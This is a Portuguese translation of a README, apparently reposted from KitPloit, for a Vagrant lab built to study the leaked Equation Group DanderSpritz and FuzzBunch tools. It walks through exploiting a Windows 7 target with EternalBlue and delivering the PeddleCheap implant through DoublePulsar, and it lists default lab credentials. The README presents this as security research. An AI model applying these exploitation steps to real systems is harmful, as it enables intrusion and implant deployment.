O objetivo do laboratório DanderSpritz é permitir que pesquisadores e defensores montem rapidamente uma versão totalmente funcional do DanderSpritz - O conjunto de ferramentas de pós-exploração do Equation Group e um Domínio Windows Server 2008 e cliente como alvos. O alvo Windows possui algumas ferramentas de engenharia reversa que considerei úteis ao investigar o DanderSpritz e suas capacidades.
Um site que criei para documentar as capacidades e ferramentas do DanderSpritz: https://danderspritz.com
NOTA: Este laboratório não foi endurecido de forma alguma (é intencionalmente vulnerável) e é executado com credenciais vagrant padrão. Por favor, não o conecte ou faça bridge com nenhuma rede pela qual você se importe.
Requisitos
20GB+ de espaço livre em disco
8GB+ de RAM
20GB de uso de banda (para baixar ISOs, atualizações, service packs, etc.)
Virtualbox (VMWare Fusion/Workstation em breve mais tarde)
Iniciando o DanderSpritz Lab
O DanderSpritz usa Packer, Vagrant e o plugin Vagrant-reload para instalar e configurar o laboratório do zero. O Packer baixará ISOs do Windows diretamente da Microsoft e instalará versões de avaliação do software para uso durante a pesquisa.
Clone este repositório para sua máquina
git clone [email protected]:francisck/DanderSpritz_lab.git
Certifique-se de ter o plugin Vagrant-reload instalado
vagrant plugin install vagrant-reload
Para baixar as ISOs e realizar a construção das caixas Vagrant, execute o seguinte comando:
packer build danderspritz_lab.json
Assim que as caixas Vagrant forem construídas, inicie as VMs e deixe-as continuar com algumas configurações adicionais:
vagrant up
Criar um projeto FuzzBunch
Inicie o Prompt de Comando do Windows (cmd) e execute:
D:\python fb.py
Defina um endereço target padrão como 192.168.40.3
Defina um endereço callback padrão como 192.168.40.4
Não use redirecionamento (inicialmente)
Deixe o diretório de logs padrão
Crie um novo projeto (opção 0)
Dê um nome ao seu novo projeto
Deixe o diretório de logs padrão
Explorar a Máquina Alvo
Execute o seguinte comando para explorar a máquina usando EternalBlue
use eternalblue
Escolha todas as opções padrão exceto o mecanismo de entrega. Use "FB" (implantação tradicional) como mecanismo de entrega
Quando o EternalBlue for bem-sucedido, configure o danderspritz e o peddlecheap
Configurar e Iniciar o DanderSpritz
Inicie outro Prompt de Comando do Windows (cmd) e execute:
D:\python configure_lp
Permita o Java pelo firewall
Selecione browse ao lado de "Log directory" e escolha o nome do projeto FuzzBunch que você criou
Clique em "go"
Preparação do PeddleCheap (configurar o implante)
No console do DanderSpritz, execute o seguinte comando:
pc_prep
Selecione o payload sharedlib padrão x64-winnt nível 3
5
Não selecione configurações avançadas
Escolha realizar um callback imediato
Use o ID PC padrão (0)
Selecione "Sim" para "Você quer escutar?"
Não altere as portas de escuta
Deixe o endereço "callback" padrão (127.0.0.1)
Não altere o nome do executável
Use a chave padrão (opção 2)
Valide que a configuração do PeddleCheap é válida
Não configure com FC (felonycrowbar)
Copie o local do binário configurado:
Entregar o implante (peddlecheap) via backdoor DoublePulsar:
Na janela original do Fuzzbunch, digite:
use doublepulsar
Escolha "sim" quando perguntado se deseja ser solicitado a definir variáveis
Selecione todas as configurações de variáveis padrão exceto a arquitetura alvo (escolha a opção 1)
1) x64 x64 64-bits
Selecione a função "RunDLL" (opção 2)
2) RunDLL Use um APC para injetar uma DLL em um processo de modo de usuário.
Deixe todas as outras opções padrão e selecione "Sim" quando perguntado se deseja executar o plugin
Você deve ver "Doublepulsar succeeded"
Conectar ao implante PeddleCheap com DanderSpritz
No DanderSpritz, selecione "PeddleCheap" no topo da tela
Selecione a chave "default" no menu suspenso de chaves
Insira o endereço da máquina alvo (192.168.40.3)
Selecione "Connect to target"
Selecione o nome do seu projeto Fuzzbunch
Aguarde o Levantamento do DanderSpritz ser concluído (levará um bom tempo) e você terá que responder algumas perguntas ao longo do caminho
Lucro!
Use para o bem, não para o mal!
O objetivo deste projeto é permitir que pesquisadores de segurança construam e configurem facilmente um laboratório DanderSpritz totalmente funcional para engenharia reversa e testes.
Não execute isso contra nenhum alvo fora deste laboratório.
Não use isso para "engajamentos de equipe vermelha"
Faça Contribua com sua pesquisa de volta para a comunidade
Faça Entre em contato comigo me para qualquer dúvida que você possa ter :)
Uso diário
Depois de executar o packer uma vez, você não precisará executá-lo novamente. As caixas Vagrant estarão disponíveis para você reconstruir, derrubar e reiniciar seu laboratório.
Abaixo estão alguns comandos úteis que você pode usar ao trabalhar com o laboratório:
Uso básico do Vagrant
Iniciar todos os hosts do DanderSpritz Lab: vagrant up
Iniciar um host específico: vagrant up <hostname>
Reiniciar um host específico: vagrant reload <hostname>
Reiniciar um host específico e reexecutar o processo de provisionamento: vagrant reload <hostname> --provision
Destruir um host específico: vagrant destroy <hostname>
Destruir todo o ambiente DanderSpritz Lab: vagrant destroy
Capturar snapshot de uma máquina: vagrant snapshot save <hostname> <snapshot_name>
Restaurar um snapshot de uma máquina: vagrant snapshot restore <hostname> <snapshot_name>
Verificar o status de cada host: vagrant status
Suspender o ambiente do laboratório: vagrant suspend
Retomar o ambiente do laboratório: vagrant resume
Re-armar hosts Windows expirados
Se você encontrar um problema em que a licença de teste expirou, você pode re-armar os hosts até 3 vezes (para 90 dias de boa licença do Windows) executando este comando em um prompt de comando administrativo
root@kitploit:~
`slmgr /rearm'
Você precisará reiniciar a máquina.
Informações do Laboratório
Diagrama do Laboratório
Informações adicionais do laboratório
Nome do Domínio: windomain.local
Login de Administrador (todas as máquinas): vagrant:vagrant
DC (Controlador de Domínio): 192.168.40.2/24
Alvo: 192.168.40.3/24
DanderSpritz: 192.168.40.4/24
Hosts do Laboratório
DC - Controlador de Domínio Windows 2008 R2
Controlador de Domínio Windows para Windomain.local
GPO de Configuração do Servidor WEF
GPO de registro do PowerShell
GPO de política de auditoria aprimorada do Windows
Alvo - Estação de Trabalho Windows 7
Simula uma estação de trabalho / máquina alvo
Associado ao domínio Windows Windomain.local
Algumas ferramentas de reversão / visibilidade pré-instaladas
Chocolatey (com repositório FireEye Flare) disponível para instalação adicional de ferramentas
Caixa DanderSpritz - Windows 10
DanderSpritz & Fuzzbunch pré-instalados
Ferramentas Instaladas no Alvo (Windows 7 SP1)
Sysmon
Ferramentas Sysinternals (Procmon, TCPview, etc.)
API Monitor
InfoPe
HxD
PEView
Windbg
WireShark
Binary Ninja
HashCalc
IDA 7 Free
Ollydbg
GPO de Auditoria Aprimorada
GPO de registro do PowerShell
Eventos do Windows encaminhados para o Controlador de Domínio (WEC)
Créditos/Recursos
Uma porcentagem considerável deste código foi emprestada e adaptada do projeto DetectionLab do Chris Long, juntamente com os repositórios Github packer-windows e adfs2 do Stefan Scherer. Um enorme agradecimento a todos que contribuíram com seu código para tornar projetos como este mais fáceis (ou até mesmo possíveis).